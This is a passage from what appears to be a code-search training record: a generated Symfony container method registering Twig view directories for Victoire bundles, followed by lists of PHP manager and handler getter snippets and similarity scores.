'/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'DoctrineBehaviorsBundle', ($this->targetDirs[3].'/app/Resources/DoctrineBehaviorsBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'DoctrineBehaviorsBundle', ($this->targetDirs[3].'/vendor/knplabs/doctrine-behaviors/src/Bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SncRedisBundle', ($this->targetDirs[3].'/app/Resources/SncRedisBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'SncRedisBundle', ($this->targetDirs[3].'/vendor/snc/redis-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'StofDoctrineExtensionsBundle', ($this->targetDirs[3].'/app/Resources/StofDoctrineExtensionsBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'StofDoctrineExtensionsBundle', ($this->targetDirs[3].'/vendor/stof/doctrine-extensions-bundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireAnalyticsBundle', ($this->targetDirs[3].'/app/Resources/VictoireAnalyticsBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireAnalyticsBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/AnalyticsBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBlogBundle', ($this->targetDirs[3].'/app/Resources/VictoireBlogBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBlogBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/BlogBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBusinessEntityBundle', ($this->targetDirs[3].'/app/Resources/VictoireBusinessEntityBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBusinessEntityBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/BusinessEntityBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBusinessPageBundle', ($this->targetDirs[3].'/app/Resources/VictoireBusinessPageBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireBusinessPageBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/BusinessPageBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireCoreBundle', ($this->targetDirs[3].'/app/Resources/VictoireCoreBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireCoreBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/CoreBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireCriteriaBundle', ($this->targetDirs[3].'/app/Resources/VictoireCriteriaBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireCriteriaBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/CriteriaBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireFilterBundle', ($this->targetDirs[3].'/app/Resources/VictoireFilterBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireFilterBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/FilterBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireFormBundle', ($this->targetDirs[3].'/app/Resources/VictoireFormBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireFormBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/FormBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireI18nBundle', ($this->targetDirs[3].'/app/Resources/VictoireI18nBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireI18nBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/I18nBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireMediaBundle', ($this->targetDirs[3].'/app/Resources/VictoireMediaBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireMediaBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/MediaBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoirePageBundle', ($this->targetDirs[3].'/app/Resources/VictoirePageBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoirePageBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/PageBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireQueryBundle', ($this->targetDirs[3].'/app/Resources/VictoireQueryBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireQueryBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/QueryBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireSeoBundle', ($this->targetDirs[3].'/app/Resources/VictoireSeoBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireSeoBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/SeoBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireSitemapBundle', ($this->targetDirs[3].'/app/Resources/VictoireSitemapBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireSitemapBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/SitemapBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireTemplateBundle', ($this->targetDirs[3].'/app/Resources/VictoireTemplateBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireTemplateBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/TemplateBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireTwigBundle', ($this->targetDirs[3].'/app/Resources/VictoireTwigBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireTwigBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/TwigBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireUIBundle', ($this->targetDirs[3].'/app/Resources/VictoireUIBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireUIBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/UIBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireUserBundle', ($this->targetDirs[3].'/app/Resources/VictoireUserBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireUserBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/UserBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'ViewReferenceBundle', ($this->targetDirs[3].'/app/Resources/ViewReferenceBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'ViewReferenceBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/ViewReferenceBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireWidgetBundle', ($this->targetDirs[3].'/app/Resources/VictoireWidgetBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireWidgetBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/WidgetBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\CoalescingDirectoryResource(array(0 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireWidgetMapBundle', ($this->targetDirs[3].'/app/Resources/VictoireWidgetMapBundle/views'), '/\\\\.[^.]+\\\\.twig$/'), 1 => new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, 'VictoireWidgetMapBundle', ($this->targetDirs[3].'/vendor/victoire/victoire/Bundle/WidgetMapBundle/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'))), 'twig');\n $instance->addResource(new \\Symfony\\Bundle\\AsseticBundle\\Factory\\Resource\\DirectoryResource($a, '', ($this->targetDirs[3].'/app/Resources/views'), '/\\\\.[^.]+\\\\.twig$/'), 'twig');\n\n return $instance;\n }", "function analogue()\n {\n return Manager::getInstance();\n }", "public function getObjectManager();", "public function getObjectManager();", "public function getCalendarManager() {\n \tthrow new osid_OperationFailedException('getCalendarManager() is not yet implemented.');\n \t\n \tif (!isset($this->calendarManager)) {\n \t\t$this->calendarManager = $this->impl_getRuntimeManager()->getManager(osid_OSID::CALENDAR(), 'banner_calendar_CalendarManager', '3.0.0');\n \t}\n \t\n \treturn $this->calendarManager;\n }", "public function getFileManager(): FileManager\n {\n return $this->fileManager;\n }", "protected function getObjectManager() {}", "public function getAsset()\n {\n return $this->hasOne(Asset::className(), ['id' => 'asset_id']);\n }", "public static function assets()\n {\n return static::instance();\n }", "public function getAsset()\n {\n return $this->hasOne(Asset::className(), ['asset_id' => 'asset_id']);\n }", "private function getArrangementProgramManager() {\n return $this->get('seip.arrangement_program.manager');\n }", "public function getEntityManager()\n {\n return $this->container->get('doctrine')->getManager($this->emName);\n }", "public function getServiceManager ()\n {\n return $this->serviceManager;\n }", "public function getEventManager()\n {\n return $this->eventManager;\n }", "public function getEventManager()\n {\n return $this->eventManager;\n }", "public function getAddOnManagerService() {\n\t\treturn $this->get('sly-service-addon-manager');\n\t}", "public function getAssetIndexer()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('assetIndexer');\n }", "public function getObjectManager()\n {\n return $this->entityManager;\n }", "private function getEventManager()\n {\n return $this->container->get('event_manager');\n }", "public function getEventManager()\n {\n if (!isset($this['event.manager'])) {\n $this['event.manager'] = new Manager($this['dispatcher']);\n }\n return $this['event.manager'];\n }", "public function getResourceManager()\n {\n if (!$this->resourceManager) {\n $this->resourceManager = new MemcachedResourceManager();\n }\n return $this->resourceManager;\n }", "public function getRuntimeManager () {\n\t\tif (!isset(self::$runtimeManager)) {\n\t\t\tself::$runtimeManager = new phpkit_AutoloadOsidRuntimeManager($this->getConfigPath());\n\t\t}\n\t\t\n\t\treturn self::$runtimeManager;\n\t}", "protected function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getObjectManager(){\n return $this->entityManager;\n }", "function getAssets();", "public function getAssets()\n {\n return $this->assets;\n }", "protected function getIntentionManager()\n {\n return $this->get('intention.execution_manager');\n }", "protected function getCacheManager()\n {\n if (!$this->cacheManager) {\n $this->cacheManager = $this->getContainer()->get('fos_http_cache.cache_manager');\n }\n\n return $this->cacheManager;\n }", "public static function get() {\n\t\t\tstatic $manager = null;\n\n\t\t\tif ( $manager === null ) {\n\t\t\t\tif ( function_exists( 'wpcom_vip_add_role' ) ) {\n\t\t\t\t\t$manager = RoleManagerVIP::get_instance();\n\t\t\t\t}\n\n\t\t\t\tif ( ! function_exists( 'wpcom_vip_add_role' ) ) {\n\t\t\t\t\t$manager = RoleManagerWP::get_instance();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $manager;\n\t\t}", "public function getCManager() {\n return $this->_cmanager;\n }", "public function getDocumentManager()\n {\n return $this->getObjectManager();\n }", "public function getSharedManager();", "protected function getObject()\n\t{\n\t\tif( !isset( $this->object ) ) {\n\t\t\t$this->object = \\Aimeos\\MAdmin\\Cache\\Manager\\Factory::createManager( $this->context )->getCache();\n\t\t}\n\n\t\treturn $this->object;\n\t}", "public function getEventsManager()\n {\n return $this->eventsManager;\n }", "public function getOptionManager()\n {\n return $this->optionManager;\n }", "public function getEventManager()\n {\n if ($this->eventManager == null) {\n ControllerException::eventManagerNotDefined();\n }\n\n return $this->eventManager;\n }", "function assets()\n {\n return new Assets($this->accessToken, $this->spaceId, $this->cacher);\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getServiceManager()\n {\n return $this->serviceManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public static function getRenderManager()\n {\n if (static::$renders === null) {\n static::$renders = new RenderManager();\n }\n\n return static::$renders;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager);\n }\n\n return $this->eventManager;\n }", "public function get_assets() \n {\n return $this->assets;\n }", "public function getAssets();", "public function getAssets();", "public function getServiceManager()\n {\n return $this->sm;\n }", "public function getAssets()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('assets');\n }", "public function getAssets()\n {\n\n }", "public function isManager()\r\n {\r\n \treturn $this->manager;\r\n }", "public function getServiceManager()\n {\n return $this->serviceManager->getServiceLocator();\n }", "protected function getEntityManager()\n {\n return $this->getContainer()->get('doctrine')->getManager();\n }", "public function getComponent()\n {\n return $this->hasOne(Asset::className(), ['id' => 'component_id']);\n }", "protected function getEntityManager()\n {\n return $this->getContainer()->get('doctrine.orm.entity_manager');\n }", "public function getServiceManager()\n\t{\n\t\treturn $this->serviceManager;\n\t}", "public function getDatabaseManager(): DatabaseManager\n {\n return $this->manager;\n }" ]
[ "0.79519796", "0.7441054", "0.70926934", "0.6995133", "0.6964597", "0.6964597", "0.6964597", "0.69555306", "0.67907387", "0.67510116", "0.66612446", "0.6615011", "0.6604568", "0.6599946", "0.6586011", "0.65641415", "0.65641415", "0.65641415", "0.65641415", "0.65469575", "0.6533176", "0.6526668", "0.65215474", "0.64889616", "0.64177865", "0.64142317", "0.63986135", "0.6347202", "0.63405067", "0.6294314", "0.62815785", "0.6230778", "0.62033457", "0.61865896", "0.6170641", "0.61668336", "0.6163314", "0.61602163", "0.61247957", "0.6105253", "0.6105253", "0.6064658", "0.60202485", "0.60027426", "0.5994982", "0.59922135", "0.5988091", "0.59541255", "0.59426117", "0.5942045", "0.5937107", "0.5937107", "0.59207255", "0.59196305", "0.5915083", "0.5899731", "0.5891592", "0.5888249", "0.5884277", "0.58838254", "0.58830345", "0.58711076", "0.58597565", "0.58575803", "0.5853636", "0.58411974", "0.58385", "0.58340967", "0.58329606", "0.58300334", "0.5829585", "0.58283204", "0.58281493", "0.58130217", "0.5806839", "0.5806839", "0.5806839", "0.5806839", "0.5806839", "0.5806839", "0.5806839", "0.5783825", "0.5783825", "0.5783825", "0.5783825", "0.5780989", "0.5780608", "0.577071", "0.5752288", "0.5752288", "0.5745171", "0.5742973", "0.57328373", "0.5720767", "0.5720459", "0.570492", "0.5702462", "0.5695114", "0.5686091", "0.5680195" ]
0.6471855
24
Gets the response handler
public function getResponse() { return $this->getService('response'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getHandler()\n {\n return $this->handler;\n }", "public function getHandler()\n {\n return $this->handler;\n }", "public function getHandler() {}", "protected function get_handler() {\n\n\t\treturn $this->handler;\n\t}", "public function getHandler();", "public function getHandler();", "public function getHandler()\n\t{\n\t\treturn $this->handler;\n\t}", "public function handler()\r\n\t{\r\n\t\treturn $this->handler;\r\n\t}", "public function getHandler(){\n return($this->handle); \n }", "public function getHandler()\n {\n }", "public function getHandler(): string\n {\n return $this->handler;\n }", "public static function handler()\n {\n return static::$handler;\n }", "public function getActualHandler();", "public function getHandler() {\n\t\t/** @var \\Cundd\\Rest\\HandlerInterface $handler */\n\t\tlist($vendor, $extension,) = Utility::getClassNamePartsForPath($this->dispatcher->getPath());\n\n\t\t// Check if an extension provides a Handler\n\t\t$handlerClass = 'Tx_' . $extension . '_Rest_Handler';\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = ($vendor ? $vendor . '\\\\' : '') . $extension . '\\\\Rest\\\\Handler';\n\t\t}\n\n\t\t// Get the specific builtin handler\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\Handler\\\\' . $extension . 'Handler';\n\t\t\t// Get the default handler\n\t\t\tif (!class_exists($handlerClass)) {\n\t\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\HandlerInterface';\n\t\t\t}\n\t\t}\n\t\t$handler = $this->get($handlerClass);\n\t\t//$handler->setRequest($this->dispatcher->getRequest());\n\t\treturn $handler;\n\t}", "public function getHandler()\n {\n if (!$this->_handler) {\n $this->setHandler(new Rx_Json_Handler_Default());\n }\n return ($this->_handler);\n }", "public function get_handler_instance() {\n\n\t\treturn $this->handler;\n\t}", "function getHandler() {\n\t\tif ($this->f) {\n\t\t\treturn $this->f;\n\t\t}\n\t\treturn null;\n\t}", "public function getErrorResponseHandler()\n {\n if ( ! $this->getContainer()->has(HandlerInterface::class) ) {\n if ( $this->isCli() ) {\n $class = PlainTextHandler::class;\n } elseif ( $this->isAjaxRequest() ) {\n $class = JsonResponseHandler::class;\n } else {\n $class = PrettyPageHandler::class;\n }\n $this->getContainer()->add(HandlerInterface::class, $class);\n }\n\n return $this->validateContract($this->getContainer()->get(HandlerInterface::class), HandlerInterface::class);\n }", "public function get_handler()\n {\n }", "public function getHandler(): ?callable{\n if($this->hasHandler())\n return $this->_handler;\n else\n return null;\n }", "public function getHandlerManager()\n {\n return $this->handlerManager;\n }", "function &_getHandler()\n\t{\n\t\treturn 0;\n\t}", "public function getRequestHandler()\n {\n if (!$this->requestHandler) {\n $this->requestHandler = $this->buildRequestHandler();\n }\n return $this->requestHandler;\n }", "public function getOutputHandler()\n\t{\n\t\treturn $this->_outputHandler;\n\t}", "public function getRequestHandler(): RequestHandlerInterface;", "private static function getHandler()\n {\n if (self::$config_handler == null) {\n self::$config_handler = new self();\n }\n return self::$config_handler;\n }", "public static function getHandlerClass(): string;", "public function getApiHandler()\n {\n return $this->apiServer->getApiHandler('sling');\n }", "public function getMessageHandler()\n {\n return $this->messageHandler;\n }", "protected function getContentHandler() {\n\t\tif ( $this->contentHandler === null ) {\n\t\t\t$this->contentHandler = ContentHandler::getForTitle( $this->getTitle() );\n\t\t}\n\n\t\treturn $this->contentHandler;\n\t}", "public function get_matched_handler()\n {\n }", "public function getHandler()\n\t{\n\t\tif ($this->_handler_instance !== null) return $this->_handler_instance;\n\n\t\tif ($this['handler_class'] == 'x') {\n\t\t\t$e = new \\Exception();\n\t\t\techo $e->getTraceAsString();\n\t\t\texit;\n\t\t}\n\n\t\tif (!$this->handler_class) {\n\t\t\t$this->handler_class = 'Application\\\\DeskPRO\\\\CustomFields\\\\Handler\\\\Text';\n\t\t}\n\n\t\t$classname = $this->handler_class;\n\t\t$this->_handler_instance = new $classname($this);\n\n\t\treturn $this->_handler_instance;\n\t}", "function get_handler() {\r\n }", "public function getApiHandler()\n {\n return $this->apiServer->getApiHandler('user');\n }", "public function getUrlDetectionHandler()\n {\n return $this->urlDetectionHandler;\n }", "public function getUrlDetectionHandler()\n {\n return $this->urlDetectionHandler;\n }", "function choose_handler(): callable\n {\n return \\Yurun\\Util\\Swoole\\Guzzle\\choose_handler();\n }", "public function get_response()\n\t{\n\t\treturn $this->response;\n\t}", "public function get_response()\n\t{\n\t\treturn $this->response;\n\t}", "public function getResponse()\n {\n return static::app()->response;\n }", "function get_response() {\n return $this->response;\n }", "public function getHandlerContext()\n {\n return $this->getHandlerConfig()->getHandlerContext();\n }", "public function getNotFoundHandler(): RequestHandlerInterface {\n return $this->notFoundHandler;\n }", "public function getHandlers()\n {\n return $this->handlers;\n }", "public function getHandlerName();", "public function getHandlerName();", "public function getTypeHandler()\n {\n return $this->handlers[$this->getType()];\n }", "public function getViewHandler(){\n\t\treturn self::$_defaultOutputHandler;\n\t}", "public function get_response()\n {\n return $this->response; \n }", "public function get_handler() {\n global $CFG;\n\n $enablehandler = $this->enablehandler;\n $handlerlabel = $this->shortname;\n\n $handler = null;\n\n if (empty($enablehandler)) {\n return false;\n } else if ($enablehandler == SPECIFIC_HANDLER) {\n $thehandler = $this->itemcode;\n } else {\n $thehandler = $enablehandler;\n }\n\n if (!empty($thehandler) &&\n file_exists($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php')) {\n include_once($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php');\n $classtype = \"shop_handler_{$thehandler}\";\n $handler = new $classtype($handlerlabel);\n }\n\n return $handler;\n }", "public function getHandler($check = true) {}", "public function getEnforcerHandler()\n {\n return $this->enforcerHandler;\n }", "public function response()\r\n {\r\n return $this->response;\r\n }", "public function response()\r\n {\r\n return $this->response;\r\n }", "public function getRelationHandler()\n\t{\n\t\t$klass = $this->getRelationHandlerClass();\n\t\t\n\t\tif(empty($this->handler) OR ! $this->handler instanceof $klass)\n\t\t{\n\t\t\t$this->handler = new $klass($this);\n\t\t}\n\t\t\n\t\treturn $this->handler;\n\t}", "public function getHandlerConfig()\n {\n return $this->config;\n }", "protected function getResponse()\n {\n return $this->response;\n }", "public function handle(ServerRequestInterface $request, $handler, array $vars): ?ResponseInterface;", "public function get_integration_handler()\n {\n return $this->integrationHandler;\n }", "public function response()\n {\n return $this->response;\n }", "public function response()\n {\n return $this->response;\n }", "public static function getLastRegisteredHandler() {\n return self::$lastRegisteredHandler;\n }", "public function get_assets_handler() {\n\t\treturn $this->assets_handler;\n\t}", "protected function getResponse()\n {\n return $this->response;\n }", "public function handler($name)\n {\n return $this->get($name);\n }", "public function getResponse()\r\n {\r\n return $this->response;\r\n }", "public function & GetResponse ();", "public function getFutureHandler(): FutureHandler;", "protected function _handle()\n {\n return $this\n ->_addData('post', $_POST)\n ->_addData('get', $_GET)\n ->_addData('server', $_SERVER)\n ->_handleRequestRoute();\n }", "protected function getExceptionHandler()\n {\n return Handler::getInstance();\n }", "public function response()\n\t\t{\n\t\t\treturn $this->response;\n\t\t}", "public function getResponse()\n {\n return $this->_response;\n }", "public function getResponse()\n {\n return $this->_response;\n }", "public function getResponse()\n {\n return $this->_response;\n }", "public function getHandlerKey(): string\n {\n return $this->handlerKey;\n }", "public function getResponse()\n {\n return $this->response;\n }", "protected function getResultHandler()\n {\n return new GetRecommendationResultHandler();\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return 